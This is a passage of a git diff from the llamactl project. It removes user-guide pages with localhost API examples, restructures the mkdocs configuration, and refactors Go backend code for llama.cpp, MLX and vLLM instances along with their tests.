-### Complete Instance Lifecycle
-
-```bash
-# Create and start instance
-curl -X POST http://localhost:8080/api/v1/instances/my-model \
-  -H "Content-Type: application/json" \
-  -H "Authorization: Bearer your-api-key" \
-  -d '{
-    "model": "/models/llama-2-7b.gguf"
-  }'
-
-# Check instance status
-curl -H "Authorization: Bearer your-api-key" \
-  http://localhost:8080/api/v1/instances/my-model
-
-# Get instance logs
-curl -H "Authorization: Bearer your-api-key" \
-  "http://localhost:8080/api/v1/instances/my-model/logs?lines=50"
-
-# Use OpenAI-compatible chat completions
-curl -X POST http://localhost:8080/v1/chat/completions \
-  -H "Content-Type: application/json" \
-  -H "Authorization: Bearer your-inference-api-key" \
-  -d '{
-    "model": "my-model",
-    "messages": [
-      {"role": "user", "content": "Hello!"}
-    ],
-    "max_tokens": 100
-  }'
-
-# Stop instance
-curl -X POST -H "Authorization: Bearer your-api-key" \
-  http://localhost:8080/api/v1/instances/my-model/stop
-
-# Delete instance
-curl -X DELETE -H "Authorization: Bearer your-api-key" \
-  http://localhost:8080/api/v1/instances/my-model
-```
-
-### Using the Proxy Endpoint
-
-You can also directly proxy requests to the llama-server instance:
-
-```bash
-# Direct proxy to instance (bypasses OpenAI compatibility layer)
-curl -X POST http://localhost:8080/api/v1/instances/my-model/proxy/completion \
-  -H "Content-Type: application/json" \
-  -H "Authorization: Bearer your-api-key" \
-  -d '{
-    "prompt": "Hello, world!",
-    "n_predict": 50
-  }'
-```
-
-## Swagger Documentation
-
-If swagger documentation is enabled in the server configuration, you can access the interactive API documentation at:
-
-```
-http://localhost:8080/swagger/
-```
-
-This provides a complete interactive interface for testing all API endpoints.

docs/user-guide/managing-instances.md

@@ -1,190 +0,0 @@
-# Managing Instances
-
-Learn how to effectively manage your Llama.cpp instances with Llamactl through both the Web UI and API.
-
-## Overview
-
-Llamactl provides two ways to manage instances:
-
-- **Web UI**: Accessible at `http://localhost:8080` with an intuitive dashboard
-- **REST API**: Programmatic access for automation and integration
-
-![Dashboard Screenshot](../images/dashboard.png)
-
-### Authentication
-
-If authentication is enabled:
-1. Navigate to the web UI
-2. Enter your credentials
-3. Bearer token is stored for the session
-
-### Theme Support
-
-- Switch between light and dark themes
-- Setting is remembered across sessions
-
-## Instance Cards
-
-Each instance is displayed as a card showing:
-
-- **Instance name**
-- **Health status badge** (unknown, ready, error, failed)
-- **Action buttons** (start, stop, edit, logs, delete)
-
-## Create Instance
-
-### Via Web UI
-
-![Create Instance Screenshot](../images/create_instance.png)
-
-1. Click the **"Create Instance"** button on the dashboard
-2. Enter a unique **Name** for your instance (only required field)
-3. Configure model source (choose one):
-    - **Model Path**: Full path to your downloaded GGUF model file
-    - **HuggingFace Repo**: Repository name (e.g., `unsloth/gemma-3-27b-it-GGUF`)
-    - **HuggingFace File**: Specific file within the repo (optional, uses default if not specified)
-4. Configure optional instance management settings:
-    - **Auto Restart**: Automatically restart instance on failure
-    - **Max Restarts**: Maximum number of restart attempts
-    - **Restart Delay**: Delay in seconds between restart attempts
-    - **On Demand Start**: Start instance when receiving a request to the OpenAI compatible endpoint
-    - **Idle Timeout**: Minutes before stopping idle instance (set to 0 to disable)
-5. Configure optional llama-server backend options:
-    - **Threads**: Number of CPU threads to use
-    - **Context Size**: Context window size (ctx_size)
-    - **GPU Layers**: Number of layers to offload to GPU
-    - **Port**: Network port (auto-assigned by llamactl if not specified)
-    - **Additional Parameters**: Any other llama-server command line options (see [llama-server documentation](https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md))
-6. Click **"Create"** to save the instance  
-
-### Via API
-
-```bash
-# Create instance with local model file
-curl -X POST http://localhost:8080/api/instances/my-instance \
-  -H "Content-Type: application/json" \
-  -d '{
-    "backend_type": "llama_cpp",
-    "backend_options": {
-      "model": "/path/to/model.gguf",
-      "threads": 8,
-      "ctx_size": 4096
-    }
-  }'
-
-# Create instance with HuggingFace model
-curl -X POST http://localhost:8080/api/instances/gemma-3-27b \
-  -H "Content-Type: application/json" \
-  -d '{
-    "backend_type": "llama_cpp",
-    "backend_options": {
-      "hf_repo": "unsloth/gemma-3-27b-it-GGUF",
-      "hf_file": "gemma-3-27b-it-GGUF.gguf",
-      "gpu_layers": 32
-    },
-    "auto_restart": true,
-    "max_restarts": 3
-  }'
-```
-
-## Start Instance
-
-### Via Web UI
-1. Click the **"Start"** button on an instance card
-2. Watch the status change to "Unknown"
-3. Monitor progress in the logs
-4. Instance status changes to "Ready" when ready
-
-### Via API
-```bash
-curl -X POST http://localhost:8080/api/instances/{name}/start
-```
-
-## Stop Instance
-
-### Via Web UI
-1. Click the **"Stop"** button on an instance card
-2. Instance gracefully shuts down
-
-### Via API
-```bash
-curl -X POST http://localhost:8080/api/instances/{name}/stop
-```
-
-## Edit Instance
-
-### Via Web UI
-1. Click the **"Edit"** button on an instance card
-2. Modify settings in the configuration dialog
-3. Changes require instance restart to take effect
-4. Click **"Update & Restart"** to apply changes
-
-### Via API
-Modify instance settings:
-
-```bash
-curl -X PUT http://localhost:8080/api/instances/{name} \
-  -H "Content-Type: application/json" \
-  -d '{
-    "backend_options": {
-      "threads": 8,
-      "context_size": 4096
-    }
-  }'
-```
-
-!!! note
-    Configuration changes require restarting the instance to take effect.
-
-
-## View Logs
-
-### Via Web UI
-
-1. Click the **"Logs"** button on any instance card
-2. Real-time log viewer opens
-
-### Via API
-Check instance status in real-time:
-
-```bash
-# Get instance details
-curl http://localhost:8080/api/instances/{name}/logs
-```
-
-## Delete Instance
-
-### Via Web UI
-1. Click the **"Delete"** button on an instance card
-2. Only stopped instances can be deleted
-3. Confirm deletion in the dialog
-
-### Via API
-```bash
-curl -X DELETE http://localhost:8080/api/instances/{name}
-```
-
-## Instance Proxy
-
-Llamactl proxies all requests to the underlying llama-server instances.
-
-```bash
-# Get instance details
-curl http://localhost:8080/api/instances/{name}/proxy/
-```
-
-Check llama-server [docs](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md) for more information.
-
-### Instance Health
-
-#### Via Web UI
-
-1. The health status badge is displayed on each instance card
-
-#### Via API
-
-Check the health status of your instances:
-
-```bash
-curl http://localhost:8080/api/instances/{name}/proxy/health
-```

docs/user-guide/troubleshooting.md

@@ -1,160 +0,0 @@
-# Troubleshooting
-
-Issues specific to Llamactl deployment and operation.
-
-## Configuration Issues
-
-### Invalid Configuration
-
-**Problem:** Invalid configuration preventing startup
-
-**Solutions:**
-1. Use minimal configuration:
-   ```yaml
-   server:
-     host: "0.0.0.0"
-     port: 8080
-   instances:
-     port_range: [8000, 9000]
-   ```
-
-2. Check data directory permissions:
-   ```bash
-   # Ensure data directory is writable (default: ~/.local/share/llamactl)
-   mkdir -p ~/.local/share/llamactl/{instances,logs}
-   ```
-
-## Instance Management Issues
-
-### Model Loading Failures
-
-**Problem:** Instance fails to start with model loading errors
-
-**Common Solutions:**  
-- **llama-server not found:** Ensure `llama-server` binary is in PATH  
-- **Wrong model format:** Ensure model is in GGUF format  
-- **Insufficient memory:** Use smaller model or reduce context size  
-- **Path issues:** Use absolute paths to model files  
-
-### Memory Issues
-
-**Problem:** Out of memory errors or system becomes unresponsive
-
-**Solutions:**
-1. **Reduce context size:**
-   ```json
-   {
-     "n_ctx": 1024
-   }
-   ```
-
-2. **Use quantized models:**  
-   - Try Q4_K_M instead of higher precision models  
-   - Use smaller model variants (7B instead of 13B)  
-
-### GPU Configuration
-
-**Problem:** GPU not being used effectively
-
-**Solutions:**
-1. **Configure GPU layers:**
-   ```json
-   {
-     "n_gpu_layers": 35
-   }
-   ```
-
-### Advanced Instance Issues
-
-**Problem:** Complex model loading, performance, or compatibility issues
-
-Since llamactl uses `llama-server` under the hood, many instance-related issues are actually llama.cpp issues. For advanced troubleshooting:
-
-**Resources:**  
-- **llama.cpp Documentation:** [https://github.com/ggml/llama.cpp](https://github.com/ggml/llama.cpp)  
-- **llama.cpp Issues:** [https://github.com/ggml/llama.cpp/issues](https://github.com/ggml/llama.cpp/issues)  
-- **llama.cpp Discussions:** [https://github.com/ggml/llama.cpp/discussions](https://github.com/ggml/llama.cpp/discussions)  
-
-**Testing directly with llama-server:**  
-```bash
-# Test your model and parameters directly with llama-server
-llama-server --model /path/to/model.gguf --port 8081 --n-gpu-layers 35
-```
-
-This helps determine if the issue is with llamactl or with the underlying llama.cpp/llama-server.
-
-## API and Network Issues
-
-### CORS Errors
-
-**Problem:** Web UI shows CORS errors in browser console
-
-**Solutions:**
-1. **Configure allowed origins:**
-   ```yaml
-   server:
-     allowed_origins:
-       - "http://localhost:3000"
-       - "https://yourdomain.com"
-   ```
-
-## Authentication Issues
-
-**Problem:** API requests failing with authentication errors
-
-**Solutions:**
-1. **Disable authentication temporarily:**
-   ```yaml
-   auth:
-     require_management_auth: false
-     require_inference_auth: false
-   ```
-
-2. **Configure API keys:**
-   ```yaml
-   auth:
-     management_keys:
-       - "your-management-key"
-     inference_keys:
-       - "your-inference-key"
-   ```
-
-3. **Use correct Authorization header:**
-   ```bash
-   curl -H "Authorization: Bearer your-api-key" \
-     http://localhost:8080/api/v1/instances
-   ```
-
-## Debugging and Logs
-
-### Viewing Instance Logs
-
-```bash
-# Get instance logs via API
-curl http://localhost:8080/api/v1/instances/{name}/logs
-
-# Or check log files directly
-tail -f ~/.local/share/llamactl/logs/{instance-name}.log
-```
-
-### Enable Debug Logging
-
-```bash
-export LLAMACTL_LOG_LEVEL=debug
-llamactl
-```
-
-## Getting Help
-
-When reporting issues, include:
-
-1. **System information:**
-   ```bash
-   llamactl --version
-   ```
-
-2. **Configuration file** (remove sensitive keys)
-
-3. **Relevant log output**
-
-4. **Steps to reproduce the issue**

mkdocs.yml

@@ -25,8 +25,8 @@ theme:
         name: Switch to light mode
   features:
     - navigation.tabs
-    - navigation.sections
-    - navigation.expand
+    - navigation.tabs.sticky
+    - toc.integrate
     - navigation.top
     - search.highlight
     - search.share
@@ -49,20 +49,35 @@ markdown_extensions:
 
 nav:
   - Home: index.md
-  - Getting Started:
-    - Installation: getting-started/installation.md
-    - Quick Start: getting-started/quick-start.md
-    - Configuration: getting-started/configuration.md
-  - User Guide:
-    - Managing Instances: user-guide/managing-instances.md
-    - API Reference: user-guide/api-reference.md
-    - Troubleshooting: user-guide/troubleshooting.md
+  - Installation: installation.md
+  - Quick Start: quick-start.md
+  - Configuration: configuration.md
+  - Managing Instances: managing-instances.md
+  - API Reference: api-reference.md
+  - Troubleshooting: troubleshooting.md
 
 plugins:
   - search
   - git-revision-date-localized
+  - mike:
+      version_selector: true
+      css_dir: css
+      javascript_dir: js
+      canonical_version: null
+  - neoteroi.mkdocsoad:
+      use_pymdownx: true
+
+hooks:
+  - docs/readme_sync.py
+  - docs/fix_line_endings.py
 
 extra:
+  version:
+    provider: mike
+    default: stable
   social:
     - icon: fontawesome/brands/github
       link: https://github.com/lordmathis/llamactl
+
+extra_css:
+- css/css-v1.1.3.css

pkg/backends/backend.go

@@ -1,7 +1,252 @@
 package backends
 
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/config"
+	"llamactl/pkg/validation"
+	"maps"
+)
+
 type BackendType string
 
 const (
 	BackendTypeLlamaCpp BackendType = "llama_cpp"
+	BackendTypeMlxLm    BackendType = "mlx_lm"
+	BackendTypeVllm     BackendType = "vllm"
 )
+
+type backend interface {
+	BuildCommandArgs() []string
+	BuildDockerArgs() []string
+	GetPort() int
+	SetPort(int)
+	GetHost() string
+	Validate() error
+	ParseCommand(string) (any, error)
+}
+
+var backendConstructors = map[BackendType]func() backend{
+	BackendTypeLlamaCpp: func() backend { return &LlamaServerOptions{} },
+	BackendTypeMlxLm:    func() backend { return &MlxServerOptions{} },
+	BackendTypeVllm:     func() backend { return &VllmServerOptions{} },
+}
+
+type Options struct {
+	BackendType    BackendType    `json:"backend_type"`
+	BackendOptions map[string]any `json:"backend_options,omitempty"`
+
+	// Backend-specific options
+	LlamaServerOptions *LlamaServerOptions `json:"-"`
+	MlxServerOptions   *MlxServerOptions   `json:"-"`
+	VllmServerOptions  *VllmServerOptions  `json:"-"`
+}
+
+func (o *Options) UnmarshalJSON(data []byte) error {
+	type Alias Options
+	aux := &struct {
+		*Alias
+	}{
+		Alias: (*Alias)(o),
+	}
+
+	if err := json.Unmarshal(data, aux); err != nil {
+		return err
+	}
+
+	// Create backend from constructor map
+	if o.BackendOptions != nil {
+		constructor, exists := backendConstructors[o.BackendType]
+		if !exists {
+			return fmt.Errorf("unsupported backend type: %s", o.BackendType)
+		}
+
+		backend := constructor()
+		optionsData, err := json.Marshal(o.BackendOptions)
+		if err != nil {
+			return fmt.Errorf("failed to marshal backend options: %w", err)
+		}
+
+		if err := json.Unmarshal(optionsData, backend); err != nil {
+			return fmt.Errorf("failed to unmarshal backend options: %w", err)
+		}
+
+		// Store in the appropriate typed field for backward compatibility
+		o.setBackendOptions(backend)
+	}
+
+	return nil
+}
+
+func (o *Options) MarshalJSON() ([]byte, error) {
+	type Alias Options
+	aux := &struct {
+		*Alias
+	}{
+		Alias: (*Alias)(o),
+	}
+
+	// Get backend and marshal it
+	backend := o.getBackend()
+	if backend != nil {
+		optionsData, err := json.Marshal(backend)
+		if err != nil {
+			return nil, fmt.Errorf("failed to marshal backend options: %w", err)
+		}
+		if err := json.Unmarshal(optionsData, &aux.BackendOptions); err != nil {
+			return nil, fmt.Errorf("failed to unmarshal backend options to map: %w", err)
+		}
+	}
+
+	return json.Marshal(aux)
+}
+
+// setBackendOptions stores the backend in the appropriate typed field
+func (o *Options) setBackendOptions(bcknd backend) {
+	switch v := bcknd.(type) {
+	case *LlamaServerOptions:
+		o.LlamaServerOptions = v
+	case *MlxServerOptions:
+		o.MlxServerOptions = v
+	case *VllmServerOptions:
+		o.VllmServerOptions = v
+	}
+}
+
+func (o *Options) getBackendSettings(backendConfig *config.BackendConfig) *config.BackendSettings {
+	switch o.BackendType {
+	case BackendTypeLlamaCpp:
+		return &backendConfig.LlamaCpp
+	case BackendTypeMlxLm:
+		return &backendConfig.MLX
+	case BackendTypeVllm:
+		return &backendConfig.VLLM
+	default:
+		return nil
+	}
+}
+
+// getBackend returns the actual backend implementation
+func (o *Options) getBackend() backend {
+	switch o.BackendType {
+	case BackendTypeLlamaCpp:
+		return o.LlamaServerOptions
+	case BackendTypeMlxLm:
+		return o.MlxServerOptions
+	case BackendTypeVllm:
+		return o.VllmServerOptions
+	default:
+		return nil
+	}
+}
+
+func (o *Options) isDockerEnabled(backend *config.BackendSettings) bool {
+	if backend.Docker != nil && backend.Docker.Enabled && o.BackendType != BackendTypeMlxLm {
+		return true
+	}
+	return false
+}
+
+func (o *Options) IsDockerEnabled(backendConfig *config.BackendConfig) bool {
+	backendSettings := o.getBackendSettings(backendConfig)
+	return o.isDockerEnabled(backendSettings)
+}
+
+// GetCommand builds the command to run the backend
+func (o *Options) GetCommand(backendConfig *config.BackendConfig) string {
+
+	backendSettings := o.getBackendSettings(backendConfig)
+
+	if o.isDockerEnabled(backendSettings) {
+		return "docker"
+	}
+
+	return backendSettings.Command
+}
+
+// buildCommandArgs builds command line arguments for the backend
+func (o *Options) BuildCommandArgs(backendConfig *config.BackendConfig) []string {
+
+	var args []string
+
+	backendSettings := o.getBackendSettings(backendConfig)
+	backend := o.getBackend()
+	if backend == nil {
+		return args
+	}
+
+	if o.isDockerEnabled(backendSettings) {
+		// For Docker, start with Docker args
+		args = append(args, backendSettings.Docker.Args...)
+		args = append(args, backendSettings.Docker.Image)
+		args = append(args, backend.BuildDockerArgs()...)
+
+	} else {
+		// For native execution, start with backend args
+		args = append(args, backendSettings.Args...)
+		args = append(args, backend.BuildCommandArgs()...)
+	}
+
+	return args
+}
+
+// BuildEnvironment builds the environment variables for the backend process
+func (o *Options) BuildEnvironment(backendConfig *config.BackendConfig, environment map[string]string) map[string]string {
+
+	backendSettings := o.getBackendSettings(backendConfig)
+	env := map[string]string{}
+
+	if backendSettings.Environment != nil {
+		maps.Copy(env, backendSettings.Environment)
+	}
+
+	if o.isDockerEnabled(backendSettings) {
+		if backendSettings.Docker.Environment != nil {
+			maps.Copy(env, backendSettings.Docker.Environment)
+		}
+	}
+
+	if environment != nil {
+		maps.Copy(env, environment)
+	}
+
+	return env
+}
+
+func (o *Options) GetPort() int {
+	backend := o.getBackend()
+	if backend != nil {
+		return backend.GetPort()
+	}
+	return 0
+}
+
+func (o *Options) SetPort(port int) {
+	backend := o.getBackend()
+	if backend != nil {
+		backend.SetPort(port)
+	}
+}
+
+func (o *Options) GetHost() string {
+	backend := o.getBackend()
+	if backend != nil {
+		return backend.GetHost()
+	}
+	return "localhost"
+}
+
+func (o *Options) GetResponseHeaders(backendConfig *config.BackendConfig) map[string]string {
+	backendSettings := o.getBackendSettings(backendConfig)
+	return backendSettings.ResponseHeaders
+}
+
+// ValidateInstanceOptions performs validation based on backend type
+func (o *Options) ValidateInstanceOptions() error {
+	backend := o.getBackend()
+	if backend == nil {
+		return validation.ValidationError(fmt.Errorf("backend options cannot be nil for backend type %s", o.BackendType))
+	}
+
+	return backend.Validate()
+}

pkg/backends/builder.go

@@ -0,0 +1,95 @@
+package backends
+
+import (
+	"fmt"
+	"llamactl/pkg/config"
+	"reflect"
+	"strconv"
+	"strings"
+)
+
+// BuildCommandArgs converts a struct to command line arguments
+func BuildCommandArgs(options any, multipleFlags map[string]struct{}) []string {
+	var args []string
+
+	v := reflect.ValueOf(options).Elem()
+	t := v.Type()
+
+	for i := 0; i < v.NumField(); i++ {
+		field := v.Field(i)
+		fieldType := t.Field(i)
+
+		if !field.CanInterface() {
+			continue
+		}
+
+		jsonTag := fieldType.Tag.Get("json")
+		if jsonTag == "" || jsonTag == "-" {
+			continue
+		}
+
+		// Get flag name from JSON tag (snake_case)
+		jsonFieldName := strings.Split(jsonTag, ",")[0]
+		// Convert to kebab-case for CLI flags
+		flagName := strings.ReplaceAll(jsonFieldName, "_", "-")
+
+		switch field.Kind() {
+		case reflect.Bool:
+			if field.Bool() {
+				args = append(args, "--"+flagName)
+			}
+		case reflect.Int:
+			if field.Int() != 0 {
+				args = append(args, "--"+flagName, strconv.FormatInt(field.Int(), 10))
+			}
+		case reflect.Float64:
+			if field.Float() != 0 {
+				args = append(args, "--"+flagName, strconv.FormatFloat(field.Float(), 'f', -1, 64))
+			}
+		case reflect.String:
+			if field.String() != "" {
+				args = append(args, "--"+flagName, field.String())
+			}
+		case reflect.Slice:
+			if field.Type().Elem().Kind() == reflect.String && field.Len() > 0 {
+				// Use jsonFieldName (snake_case) for multipleFlags lookup
+				if _, isMultiValue := multipleFlags[jsonFieldName]; isMultiValue {
+					// Multiple flags: --flag value1 --flag value2
+					for j := 0; j < field.Len(); j++ {
+						args = append(args, "--"+flagName, field.Index(j).String())
+					}
+				} else {
+					// Comma-separated: --flag value1,value2
+					var values []string
+					for j := 0; j < field.Len(); j++ {
+						values = append(values, field.Index(j).String())
+					}
+					args = append(args, "--"+flagName, strings.Join(values, ","))
+				}
+			}
+		}
+	}
+
+	return args
+}
+
+// BuildDockerCommand builds a Docker command with the specified configuration and arguments
+func BuildDockerCommand(backendConfig *config.BackendSettings, instanceArgs []string) (string, []string, error) {
+	// Start with configured Docker arguments (should include "run", "--rm", etc.)
+	dockerArgs := make([]string, len(backendConfig.Docker.Args))
+	copy(dockerArgs, backendConfig.Docker.Args)
+
+	// Add environment variables
+	for key, value := range backendConfig.Docker.Environment {
+		dockerArgs = append(dockerArgs, "-e", fmt.Sprintf("%s=%s", key, value))
+	}
+
+	// Add image name
+	dockerArgs = append(dockerArgs, backendConfig.Docker.Image)
+
+	// Add backend args and instance args
+	dockerArgs = append(dockerArgs, backendConfig.Args...)
+	dockerArgs = append(dockerArgs, instanceArgs...)
+
+	return "docker", dockerArgs, nil
+}

pkg/backends/llama.go

@@ -1,12 +1,26 @@
-package llamacpp
+package backends
 
 import (
 	"encoding/json"
+	"fmt"
+	"llamactl/pkg/validation"
 	"reflect"
 	"strconv"
-	"strings"
 )
 
+// llamaMultiValuedFlags defines flags that should be repeated for each value rather than comma-separated
+// Keys use snake_case as the parser converts kebab-case flags to snake_case before lookup
+var llamaMultiValuedFlags = map[string]struct{}{
+	"override_tensor":       {},
+	"override_kv":           {},
+	"lora":                  {},
+	"lora_scaled":           {},
+	"control_vector":        {},
+	"control_vector_scaled": {},
+	"dry_sequence_breaker":  {},
+	"logit_bias":            {},
+}
+
 type LlamaServerOptions struct {
 	// Common params
 	VerbosePrompt           bool     `json:"verbose_prompt,omitempty"`
@@ -313,64 +327,63 @@ func (o *LlamaServerOptions) UnmarshalJSON(data []byte) error {
 	return nil
 }
 
-// BuildCommandArgs converts InstanceOptions to command line arguments
-func (o *LlamaServerOptions) BuildCommandArgs() []string {
-	var args []string
+func (o *LlamaServerOptions) GetPort() int {
+	return o.Port
+}
 
-	v := reflect.ValueOf(o).Elem()
-	t := v.Type()
+func (o *LlamaServerOptions) SetPort(port int) {
+	o.Port = port
+}
 
-	for i := 0; i < v.NumField(); i++ {
-		field := v.Field(i)
-		fieldType := t.Field(i)
+func (o *LlamaServerOptions) GetHost() string {
+	return o.Host
+}
 
-		// Skip unexported fields
-		if !field.CanInterface() {
-			continue
-		}
-
-		// Get the JSON tag to determine the flag name
-		jsonTag := fieldType.Tag.Get("json")
-		if jsonTag == "" || jsonTag == "-" {
-			continue
-		}
-
-		// Remove ",omitempty" from the tag
-		flagName := jsonTag
-		if commaIndex := strings.Index(jsonTag, ","); commaIndex != -1 {
-			flagName = jsonTag[:commaIndex]
-		}
-
-		// Convert snake_case to kebab-case for CLI flags
-		flagName = strings.ReplaceAll(flagName, "_", "-")
-
-		// Add the appropriate arguments based on field type and value
-		switch field.Kind() {
-		case reflect.Bool:
-			if field.Bool() {
-				args = append(args, "--"+flagName)
-			}
-		case reflect.Int:
-			if field.Int() != 0 {
-				args = append(args, "--"+flagName, strconv.FormatInt(field.Int(), 10))
-			}
-		case reflect.Float64:
-			if field.Float() != 0 {
-				args = append(args, "--"+flagName, strconv.FormatFloat(field.Float(), 'f', -1, 64))
-			}
-		case reflect.String:
-			if field.String() != "" {
-				args = append(args, "--"+flagName, field.String())
-			}
-		case reflect.Slice:
-			if field.Type().Elem().Kind() == reflect.String {
-				// Handle []string fields
-				for j := 0; j < field.Len(); j++ {
-					args = append(args, "--"+flagName, field.Index(j).String())
-				}
-			}
-		}
+func (o *LlamaServerOptions) Validate() error {
+	if o == nil {
+		return validation.ValidationError(fmt.Errorf("llama server options cannot be nil for llama.cpp backend"))
 	}
 
-	return args
+	// Use reflection to check all string fields for injection patterns
+	if err := validation.ValidateStructStrings(o, ""); err != nil {
+		return err
+	}
+
+	// Basic network validation for port
+	if o.Port < 0 || o.Port > 65535 {
+		return validation.ValidationError(fmt.Errorf("invalid port range: %d", o.Port))
+	}
+
+	return nil
+}
+
+// BuildCommandArgs converts InstanceOptions to command line arguments
+func (o *LlamaServerOptions) BuildCommandArgs() []string {
+	// Llama uses multiple flags for arrays by default (not comma-separated)
+	// Use package-level llamaMultiValuedFlags variable
+	return BuildCommandArgs(o, llamaMultiValuedFlags)
+}
+
+func (o *LlamaServerOptions) BuildDockerArgs() []string {
+	// For llama, Docker args are the same as normal args
+	return o.BuildCommandArgs()
+}
+
+// ParseCommand parses a llama-server command string into LlamaServerOptions
+// Supports multiple formats:
+// 1. Full command: "llama-server --model file.gguf"
+// 2. Full path: "/usr/local/bin/llama-server --model file.gguf"
+// 3. Args only: "--model file.gguf --gpu-layers 32"
+// 4. Multiline commands with backslashes
+func (o *LlamaServerOptions) ParseCommand(command string) (any, error) {
+	executableNames := []string{"llama-server"}
+	var subcommandNames []string // Llama has no subcommands
+	// Use package-level llamaMultiValuedFlags variable
+
+	var llamaOptions LlamaServerOptions
+	if err := parseCommand(command, executableNames, subcommandNames, llamaMultiValuedFlags, &llamaOptions); err != nil {
+		return nil, err
+	}
+
+	return &llamaOptions, nil
 }

pkg/backends/llama_test.go

@@ -1,71 +1,38 @@
-package llamacpp_test
+package backends_test
 
 import (
 	"encoding/json"
 	"fmt"
-	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/backends"
+	"llamactl/pkg/testutil"
 	"reflect"
-	"slices"
 	"testing"
 )
 
-func TestBuildCommandArgs_BasicFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
-		Model:     "/path/to/model.gguf",
-		Port:      8080,
-		Host:      "localhost",
-		Verbose:   true,
-		CtxSize:   4096,
-		GPULayers: 32,
-	}
-
-	args := options.BuildCommandArgs()
-
-	// Check individual arguments
-	expectedPairs := map[string]string{
-		"--model":      "/path/to/model.gguf",
-		"--port":       "8080",
-		"--host":       "localhost",
-		"--ctx-size":   "4096",
-		"--gpu-layers": "32",
-	}
-
-	for flag, expectedValue := range expectedPairs {
-		if !containsFlagWithValue(args, flag, expectedValue) {
-			t.Errorf("Expected %s %s, not found in %v", flag, expectedValue, args)
-		}
-	}
-
-	// Check standalone boolean flag
-	if !contains(args, "--verbose") {
-		t.Errorf("Expected --verbose flag not found in %v", args)
-	}
-}
-
-func TestBuildCommandArgs_BooleanFields(t *testing.T) {
+func TestLlamaCppBuildCommandArgs_BooleanFields(t *testing.T) {
 	tests := []struct {
 		name     string
-		options  llamacpp.LlamaServerOptions
+		options  backends.LlamaServerOptions
 		expected []string
 		excluded []string
 	}{
 		{
 			name: "verbose true",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose: true,
 			},
 			expected: []string{"--verbose"},
 		},
 		{
 			name: "verbose false",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose: false,
 			},
 			excluded: []string{"--verbose"},
 		},
 		{
 			name: "multiple booleans",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose:   true,
 				FlashAttn: true,
 				Mlock:     false,
@@ -81,13 +48,13 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) {
 			args := tt.options.BuildCommandArgs()
 
 			for _, expectedArg := range tt.expected {
-				if !contains(args, expectedArg) {
+				if !testutil.Contains(args, expectedArg) {
 					t.Errorf("Expected argument %q not found in %v", expectedArg, args)
 				}
 			}
 
 			for _, excludedArg := range tt.excluded {
-				if contains(args, excludedArg) {
+				if testutil.Contains(args, excludedArg) {
 					t.Errorf("Excluded argument %q found in %v", excludedArg, args)
 				}
 			}
@@ -95,38 +62,8 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_NumericFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
-		Port:        8080,
-		Threads:     4,
-		CtxSize:     2048,
-		GPULayers:   16,
-		Temperature: 0.7,
-		TopK:        40,
-		TopP:        0.9,
-	}
-
-	args := options.BuildCommandArgs()
-
-	expectedPairs := map[string]string{
-		"--port":       "8080",
-		"--threads":    "4",
-		"--ctx-size":   "2048",
-		"--gpu-layers": "16",
-		"--temp":       "0.7",
-		"--top-k":      "40",
-		"--top-p":      "0.9",
-	}
-
-	for flag, expectedValue := range expectedPairs {
-		if !containsFlagWithValue(args, flag, expectedValue) {
-			t.Errorf("Expected %s %s, not found in %v", flag, expectedValue, args)
-		}
-	}
-}
-
-func TestBuildCommandArgs_ZeroValues(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_ZeroValues(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Port:        0,     // Should be excluded
 		Threads:     0,     // Should be excluded
 		Temperature: 0,     // Should be excluded
@@ -146,14 +83,14 @@ func TestBuildCommandArgs_ZeroValues(t *testing.T) {
 	}
 
 	for _, excludedArg := range excludedArgs {
-		if contains(args, excludedArg) {
+		if testutil.Contains(args, excludedArg) {
 			t.Errorf("Zero value argument %q should not be present in %v", excludedArg, args)
 		}
 	}
 }
 
-func TestBuildCommandArgs_ArrayFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_ArrayFields(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Lora:               []string{"adapter1.bin", "adapter2.bin"},
 		OverrideTensor:     []string{"tensor1", "tensor2", "tensor3"},
 		DrySequenceBreaker: []string{".", "!", "?"},
@@ -170,15 +107,15 @@ func TestBuildCommandArgs_ArrayFields(t *testing.T) {
 
 	for flag, values := range expectedOccurrences {
 		for _, value := range values {
-			if !containsFlagWithValue(args, flag, value) {
+			if !testutil.ContainsFlagWithValue(args, flag, value) {
 				t.Errorf("Expected %s %s, not found in %v", flag, value, args)
 			}
 		}
 	}
 }
 
-func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_EmptyArrays(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Lora:           []string{}, // Empty array should not generate args
 		OverrideTensor: []string{}, // Empty array should not generate args
 	}
@@ -187,43 +124,13 @@ func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
 
 	excludedArgs := []string{"--lora", "--override-tensor"}
 	for _, excludedArg := range excludedArgs {
-		if contains(args, excludedArg) {
+		if testutil.Contains(args, excludedArg) {
 			t.Errorf("Empty array should not generate argument %q in %v", excludedArg, args)
 		}
 	}
 }
 
-func TestBuildCommandArgs_FieldNameConversion(t *testing.T) {
-	// Test snake_case to kebab-case conversion
-	options := llamacpp.LlamaServerOptions{
-		CtxSize:      4096,
-		GPULayers:    32,
-		ThreadsBatch: 2,
-		FlashAttn:    true,
-		TopK:         40,
-		TopP:         0.9,
-	}
-
-	args := options.BuildCommandArgs()
-
-	// Check that field names are properly converted
-	expectedFlags := []string{
-		"--ctx-size",      // ctx_size -> ctx-size
-		"--gpu-layers",    // gpu_layers -> gpu-layers
-		"--threads-batch", // threads_batch -> threads-batch
